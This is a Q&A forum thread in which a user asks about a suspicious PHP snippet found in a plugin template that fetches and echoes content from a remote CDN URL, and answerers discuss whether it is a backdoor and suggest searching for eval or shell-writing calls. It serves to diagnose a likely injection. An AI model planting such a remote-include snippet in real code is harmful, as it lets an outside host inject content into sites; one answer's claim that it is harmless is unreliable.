1

I have just found this embedded in a plugin I am using (at the start of a tmpl file before the html)...

Should I be worried? Can I remove it?

<?php 
$author = @file_get_contents('http://d5827db8276672d15fca-1e2d3239e5a8580a4f85f7906852eb87.r51.cf1.rackcdn.com/author3c.php');
echo $author;
?>

Thanks

1
  • Though the original intent of those lines is unknown, they are a very serious security risk and should be removed. Nov 20, 2012 at 12:03

3 Answers 3

2

I just visited that url and it's just an empty php file so unless somewhere it states that it must be left in, I would remove it.

EDIT::

When I say it's an empty php file it actually popped up a download dialog to download the file, it didn't just serve me an empty page.

1

Id remove it, if you dont have control over what goes in that file then your at a security risk, regardless of what the author of the template says.

Check the rest of your code for eval($author) or file_put_contents('shell.php',$author); ect

0

file_get_contents just loads all content of a file into a variable and don't execute a code.

I recommend you first check if there's not a critical tags or codes in that file, then you can safety remove it.

For more information see this page on PHP.net: file_get_contents manual.

Your Answer

By clicking “Post Your Answer”, you agree to our terms of service and acknowledge you have read our privacy policy.

Not the answer you're looking for? Browse other questions tagged or ask your own question.